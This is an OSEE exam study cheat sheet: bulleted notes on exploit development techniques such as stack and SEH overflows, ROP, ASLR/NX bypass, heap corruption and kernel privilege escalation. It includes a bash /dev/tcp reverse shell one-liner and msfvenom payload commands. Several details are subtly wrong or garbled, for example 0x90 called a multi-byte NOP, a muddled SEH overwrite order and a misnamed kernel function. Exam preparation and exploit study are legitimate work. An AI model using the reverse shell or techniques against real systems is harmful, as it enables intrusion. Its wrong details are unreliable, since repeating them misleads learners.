OSEE study materials
OSEE study resources

OSEE cheat sheet

OSEE · Keep the key ideas within reach.

Quick reference

Exploit Development

  • EIP offset = bytes sent at crash minus the byte index where EIP first contains the cyclic pattern value; confirm with a unique 4-byte marker at that offset.

  • Bad-character enumeration: send all 256 byte values, then diff the target-memory dump against the sent sequence; excluded bytes are 0x00 plus any byte the parser truncates or rewrites.

  • JMP ESP alternative: find a gadget with a stable address (no ASLR, or a non-rebased module), verify bytes are executable and the register points into your buffer at the jump.

  • Egghunter: 32-bit access(2)-style hunter scans page-aligned memory for 8-byte tag; keep the tag unique and hunter under ~32 bytes to fit small buffers.

  • SEH overwrite: overflow nSEH with a short jump (e.g., \xeb\x06\x90\x90) then overwrite the handler with a POP POP RET gadget, then the next-SEH pointer.

  • Stack pivot gadgets (leave;ret, xchg esp,eax, add esp,N;ret) redirect ESP to attacker-controlled memory when the direct overflow space is too small.

  • Return-to-libc: overwrite saved return with system() address, then a fake return, then a pointer to "/bin/sh"; defeats non-executable stack without ROP.

  • ROP chain building: gadgets end in ret (or jmp/call variant), each gadget consumes stack slots in order; use ret2csu or __libc_csu_init gadgets for argument setup when pop rdi;ret is absent.

  • ASLR/NX/PIE defeat: leak a libc or module address via info leak, compute base = leaked - known_offset, then use offsets for system, one_gadget, or gadgets; PIE requires a separate code-base leak.

Quick reference

Exploit Development

  • Heap overflow: corrupt adjacent chunk metadata (size field, fd/bk in unsorted bin) to gain arbitrary write via unlink or tcache poisoning; modern glibc adds safe-linking (fd = ptr ^ (chunk>>12)).

  • Format string: %n writes count of bytes printed to a pointer argument; use positional specifiers %$n and %$s to read/write arbitrary memory from the stack.

  • Integer overflow: signed/unsigned mismatch or truncation in length checks (e.g., malloc(len+1) with len=0xFFFFFFFF) yields undersized allocation followed by oversized copy.

  • Off-by-one (null byte): overwrite low byte of adjacent chunk size to extend a chunk into the next, enabling overlap and controlled writes.

  • Shellcode encoding: alphanumeric or XOR-encoded payloads bypass bad-character filters; decoder stub must be position-independent and self-modifying.

  • NOP sled: use multi-byte NOPs (0x90) for reliable landing; in constrained buffers use a repeated single-byte sled or register-jump trampoline.

  • Mitigation check order: identify stack canary, NX, PIE, RELRO, ASLR, and CFG before choosing technique; canary leak requires a format-string or info-leak primitive.

  • Kernel exploitation differs: use commit_creds(prepare_kernel_creds(0)) via ROP, or modprobe_path overwrite for arbitrary code execution from ring 0.

Quick reference

Exploit Development

  • Debugging workflow: attach gdb with pwndbg/GEF, set breakpoint at crash address, inspect registers and stack, then compute offset from pattern search output.

  • Crash triage: EIP control indicates stack overflow; EAX/ECX control indicates indirect call or write-what-where primitive; heap corruption often shows as malloc/free abort.

  • Symbol resolution: use info proc mappings, vmmap, and x/i $eip to find module base and gadget offsets; rebase addresses with module base.

  • Fuzzing: mutate inputs with AFL++ or libFuzzer, triage with ASan/UBSan to catch memory errors before they become exploitable crashes.

  • Patch diffing: compare vulnerable and patched binaries (BinDiff, Diaphora) to locate the fix and reverse the vulnerable condition.

  • Stack layout on x86-64: args in rdi, rsi, rdx, rcx, r8, r9; return address at rsp; canary before saved rbp; red zone below rsp is safe from signal handlers only.

  • Reliability: account for ASLR entropy, stack alignment (16-byte on x86-64), and environment size shifts when computing offsets in local vs remote targets.

Quick reference

Exploit Development

  • x86-64 ROP call convention: pop rdi;ret sets arg1, pop rsi;ret arg2, pop rdx;ret arg3; syscall gadget for direct syscalls (rax=59 execve).

  • ret2dlresolve: forge a fake Elf64_Rela and symbol table entry to resolve system() at runtime without a libc leak; requires writable memory and known PLT0.

  • GOT overwrite: partial or full overwrite of a GOT entry (e.g., printf@got) with a gadget or system address; requires a write primitive and known addresses.

  • Stack canary bypass: leak canary via format string or partial overwrite; on fork servers the canary is stable across connections.

  • SROP (sigreturn-oriented programming): set rax=15 and trigger syscall with a fake sigframe on the stack to control all registers, including rip.

  • JOP/COP: use dispatcher gadgets ending in jmp/call to chain without ret; needed when CET/shadow stack or ret-based mitigations are present.

  • CET/shadow stack: ret-based ROP fails when shadow stack is enforced; use call-oriented or data-only attacks instead.

  • Exploit mitigations table: checksec --file=binary reports RELRO, Canary, NX, PIE, RPATH, RUNPATH, Fortify; interpret each as a constraint on technique selection.

Quick reference

Exploit Development

  • Payload staging: small stage-1 reads a larger stage-2 into memory (e.g., recv into RWX region) then jumps to it; needed when buffer space is limited.

  • Reverse shell one-liner: bash -i >& /dev/tcp/IP/PORT 0>&1; or use msfvenom -p linux/x64/shell_reverse_tcp for staged payloads.

  • Bad-byte handling: encode payload with msfvenom -b '\x00\x0a\x0d' and verify decoder stub avoids the same bytes.

  • ROPgadget / ropper: search for pop rdi ; ret, syscall, leave ; ret, and mov [reg], reg sequences; filter by module and address range.

  • Pwntools workflow: pwn.cyclic(offset), pwn.remote(), pwn.ELF() for symbol resolution, pwn.ROP() for automatic chain building, pwn.context.arch for endianness.

  • Endianness: x86/x86-64 little-endian; reverse multi-byte addresses in payloads; ARM may be either, check architecture before packing.

  • Stack alignment: x86-64 movaps faults if rsp is not 16-byte aligned at call; insert a single ret gadget before system() to realign.

Quick reference

Exploit Development

  • Canary value: 64-bit canary has a null low byte; partial overwrite of the canary's low byte is possible only if the null byte is preserved or the write starts after it.

  • RELRO: partial RELRO leaves .got writable; full RELRO makes .got read-only after relocation, forcing __free_hook/__malloc_hook or FSOP targets instead.

  • FSOP (File Stream Oriented Programming): overwrite IO_2_1_stdout vtable pointer or _IO_list_all to trigger _IO_flush_all_lockp and gain control; glibc 2.24+ adds vtable checks.

  • Tcache poisoning: overwrite tcache_entry->next with target address; glibc 2.32+ safe-linking requires leaking the heap base to compute the encoded pointer.

  • House of Force: overwrite top chunk size with -1, then request a chunk that moves top to target-0x10; requires a heap overflow into the top chunk header.

  • Unsafe unlink: corrupt fd/bk of a free chunk so unlink writes (fd->bk = bk) and (bk->fd = fd); modern glibc checks fd->bk == p and bk->fd == p.

  • Double free: free the same chunk twice to create overlapping allocations; tcache double-free check compares key field, bypass by editing key.

  • Use-after-free: keep a dangling pointer into a freed chunk, reallocate with attacker data, then trigger the original pointer's virtual call or write.